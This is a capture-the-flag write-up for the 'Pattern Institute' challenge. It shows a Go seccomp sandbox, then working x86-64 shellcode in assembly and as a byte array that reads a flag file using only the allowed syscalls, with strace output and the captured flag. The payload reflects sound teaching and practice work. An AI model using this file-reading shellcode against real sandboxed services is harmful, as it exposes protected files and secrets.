Pattern Institute

Description

problem description

A *.go file was attached.

package main

import (
    "os"
    "fmt"
    "syscall"
    b64 "encoding/base64"
    libseccomp "github.com/seccomp/libseccomp-golang"
)


func whiteList(syscalls []string) {

    fmt.Printf("|------------------------------------------|\n")
    fmt.Printf("\033[0;33m[!] Sandboxing all syscalls\033[0m\n")

    filter, err := libseccomp.NewFilter(libseccomp.ActErrno.SetReturnCode(int16(syscall.EPERM)))
    if err != nil {
        fmt.Printf("Error creating filter: %s\n", err)
    }
    for _, element := range syscalls {
        fmt.Printf("[+] Whitelisting: %s\n", element /*"*****"*/)
        syscallID, err := libseccomp.GetSyscallFromName(element)
        if err != nil {
            panic(err)
        }
        filter.AddRule(syscallID, libseccomp.ActAllow)
    }
    filter.Load()
    fmt.Printf("\n|------------------------------------------|\n")
}

func main() {

    /* get parameter from command line and decode to base64, then write it to disk */
    if len(os.Args) != 2 {
       fmt.Printf( "[!] ERROR, argument missing\n\033[1;31mUse 'http://ip:port/?arg=<base64 encoded code>' to run your code inside the sandbox\033[0m\n\n")
       return
    }

    sDec, _ := b64.StdEncoding.DecodeString(os.Args[1])

    file, err := os.Create("/tmp/your_code")
    if err != nil {
    panic(err)
    }
    _, errW := file.Write(sDec)
    if errW != nil {
    panic(errW)
    }

    // Change permissions Linux.
    err = os.Chmod("/tmp/your_code", 0777)
    if err != nil {
    panic(err)
    }
    file.Close()

    //===== S A N D B O X     S T A R T S =====
    var syscalls = []string{
    "mmap", "mprotect", "write", "open", "close", "fstat",
    "execve", "arch_prctl", "stat", "futex", "exit_group" }

    whiteList(syscalls)

    fmt.Printf( "\n[+] Now decoding your code...\n")
    fmt.Printf( "[+] Running your code...\n\n\033[1;33mSTDOUT:\n=======\033[0m\n")

    err2 := syscall.Exec("/tmp/your_code", nil, nil)
    if err2 != nil {
        fmt.Printf( "[-] Error encountered while running your code!\n%s\n", err2)
    }

    fmt.Printf("\n\n\033[1;32m|-------------END OF EXECUTION---------------|\033[0m\n")

    // infinite loop
    for {
    }
}

Solution

We can see that the program accepts our input (a base64 encoded program), writes it to /tmp and runs it under seccomp restrictions. Since we need to leak the flag, we need to find a way to open a file, read its content and write it to stdout by only using the whitelisted syscalls: ["mmap", "mprotect", "write", "open", "close", "fstat", "execve", "arch_prctl", "stat", "futex", "exit_group"].

We can find a collection of templates to bypass seccomp here. read-with-mmap seems like exactly what we need:

.globl _start
_start:
        // open
    movw $0x7374, %r11w             /* ts */
    push %r11
    movq $0x736f682f6374652f, %r11  /* /etc/hos */
    push %r11
    lea 0(%rsp), %rdi
    xor %rsi, %rsi
    addb $2, %al
    syscall

    // mmap
    xor %rdi, %rdi
    xor %rsi, %rsi
    mov $0xffff, %si
    xor %rdx, %rdx
    add $1, %dl
    mov %rax, %r8
    xor %r9, %r9
    xor %r10, %r10
    add $1, %r10b
    xor %rax, %rax
    mov $9, %al
    syscall

    // write
    xor %rdi, %rdi
    inc %dl
    mov %rax, %rsi
    xor %rdx, %rdx
    mov $0xffff, %dx
    xor %rax, %rax
    inc %al
    syscall

    // exit
    xor %rdi, %rdi
    mov $3, %dl
    xor %rax, %rax
    mov $60, %al
    syscall

This snippet just uses open, mmap, write and exit to leak the contents of /etc/hosts. All the syscalls are allowed in our case, so we just need to change the target file and compile.

At first we might be tempted to just change the filename from /etc/hosts to /home/flag.txt and compile the program:

┌──(user@kali)-[/media/sf_CTFs/intent/Pattern_Institute]
└─$ diff read-with-mmap.s solve.s
4c4
<       movw $0x7374, %r11w             /* ts */
---
>       mov $0x7478742e6761, %r11             /* ag.txt */
6c6
<       movq $0x736f682f6374652f, %r11  /* /etc/hos */
---
>       movq $0x6c662f656d6f682f, %r11  /* /home/fl */
42a43
>

┌──(user@kali)-[/media/sf_CTFs/intent/Pattern_Institute]
└─$ f="solve"; ./gen-shellcode.sh solve.s > $f.c; gcc -static $f.c -o $f

However, the build instructions in the repository create the following source code:

#include <stdint.h>
#include <sys/mman.h>

char shellcode[] = "\x49\xbb\x61\x67\x2e\x74\x78\x74\x00\x00\x41\x53\x49\xbb\x2f"
                   "\x68\x6f\x6d\x65\x2f\x66\x6c\x41\x53\x48\x8d\x3c\x24\x48\x31"
                   "\xf6\x04\x02\x0f\x05\x48\x31\xff\x48\x31\xf6\x66\xbe\xff\xff"
                   "\x48\x31\xd2\x80\xc2\x01\x49\x89\xc0\x4d\x31\xc9\x4d\x31\xd2"
                   "\x41\x80\xc2\x01\x48\x31\xc0\xb0\x09\x0f\x05\x48\x31\xff\xfe"
                   "\xc2\x48\x89\xc6\x48\x31\xd2\x66\xba\xff\xff\x48\x31\xc0\xfe"
                   "\xc0\x0f\x05\x48\x31\xff\xb2\x03\x48\x31\xc0\xb0\x3c\x0f\x05";

int main(){
  mprotect((void *)((uint64_t)shellcode & ~4095), 4096, PROT_READ|PROT_EXEC);
  (*(void(*)()) shellcode)();
  return 0;
}

When compiled with GCC, this creates a program which uses extra syscalls such as brk, as seen when running strace:

┌──(user@kali)-[/media/sf_CTFs/intent/Pattern_Institute]
└─$ strace ./solve
execve("./solve", ["./solve"], 0x7ffe49f0d970 /* 32 vars */) = 0
brk(NULL)                               = 0xf65000
brk(0xf65d80)                           = 0xf65d80
arch_prctl(ARCH_SET_FS, 0xf65380)       = 0
uname({sysname="Linux", nodename="kali", ...}) = 0
readlink("/proc/self/exe", "/media/sf_CTFs/intent/Pattern_In"..., 4096) = 45
brk(0xf86d80)                           = 0xf86d80
brk(0xf87000)                           = 0xf87000
mprotect(0x4a9000, 12288, PROT_READ)    = 0
mprotect(0x4ac000, 4096, PROT_READ|PROT_EXEC) = 0
open("/home/flag.txt", O_RDONLY)        = -1 ENOENT (No such file or directory)
mmap(NULL, 65535, PROT_READ, MAP_SHARED, -2, 0) = -1 EBADF (Bad file descriptor)
write(0, 0xfffffffffffffff7, 65535)     = -1 EFAULT (Bad address)
exit(0)                                 = ?
+++ exited with 0 +++

To get a minimal executable, we should use a tool such as nasm. This requires us to port the assembly syntax to Intel syntax:

    
    global    _start
    section   .text
    
_start:  
    
    xor rax, rax ; Added since al is used below without initialization
    
    ; open
    mov  r11, 0x7478742e6761       ; ag.txt
    push r11
    mov  r11, 0x6c662f656d6f682f   ; /home/fl
    push r11
    lea  rdi, [rsp + 0]
    xor  rsi, rsi
    add al, 2
    syscall

    ; mmap
    xor rdi, rdi
    xor rsi, rsi
    mov si, 0xffff
    xor rdx, rdx
    add dl, 1
    mov r8, rax
    xor r9, r9
    xor r10, r10
    add r10b, 1
    xor rax, rax
    mov al, 9
    syscall

    ; write
    xor rdi, rdi
    inc dl
    mov rsi, rax 
    xor rdx, rdx
    mov dx, 0xffff
    xor rax, rax
    inc al
    syscall

    ; exit
    xor rdi, rdi
    mov dl, 3
    xor rax, rax
    mov al, 60
    syscall

Let's compile:

┌──(user@kali)-[/media/sf_CTFs/intent/Pattern_Institute]
└─$ nasm -felf64 solve.asm && ld solve.o -o ./solve

We can check the syscalls with strace:

┌──(user@kali)-[/media/sf_CTFs/intent/Pattern_Institute]
└─$ strace ./solve
execve("./solve", ["./solve"], 0x7ffc45a3aac0 /* 32 vars */) = 0
open("/home/flag.txt", O_RDONLY)        = -1 ENOENT (No such file or directory)
mmap(NULL, 65535, PROT_READ, MAP_SHARED, -2, 0) = -1 EBADF (Bad file descriptor)
write(0, 0xfffffffffffffff7, 65535)     = -1 EFAULT (Bad address)
exit(0)                                 = ?
+++ exited with 0 +++

Now we just base64-encode the program and submit it:

successfully wrote to file...

Welcome to Alpine Linux 3.8
Kernel 4.14.55-84.37.amzn2.x86_64 on an x86_64 (ttyS0)

localhost login: root (automatic login)

Welcome to Alpine!

The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <http://wiki.alpinelinux.org>.

You can setup the system with the command: setup-alpine

You may change this message by editing /etc/motd.

[*] FC  IP=172.16.0.50
[*] TAP IP=172.16.0.49
______     _   _                    _____          _   _ _         _
| ___ \   | | | |                  |_   _|        | | (_) |       | |
| |_/ /_ _| |_| |_ ___ _ __ _ __     | | _ __  ___| |_ _| |_ _   _| |_ ___
|  __/ _` | __| __/ _ \ '__| '_ \    | || '_ \/ __| __| | __| | | | __/ _ \
| | | (_| | |_| ||  __/ |  | | | |  _| || | | \__ \ |_| | |_| |_| | ||  __/
\_|  \__,_|\__|\__\___|_|  |_| |_|  \___/_| |_|___/\__|_|\__|\__,_|\__\___|

Welcome dear visitor!

|------------------------------------------|
[!] Sandboxing all syscalls
[+] Whitelisting: mmap
[+] Whitelisting: mprotect
[+] Whitelisting: write
[+] Whitelisting: open
[+] Whitelisting: close
[+] Whitelisting: fstat
[+] Whitelisting: execve
[+] Whitelisting: arch_prctl
[+] Whitelisting: stat
[+] Whitelisting: futex
[+] Whitelisting: exit_group

|------------------------------------------|

[+] Now decoding your code...
[+] Running your code...

STDOUT:
=======
INTENT{pl4y1n6_1n_7h3_54nd_15_d4n63r0u5}
Segmentation fault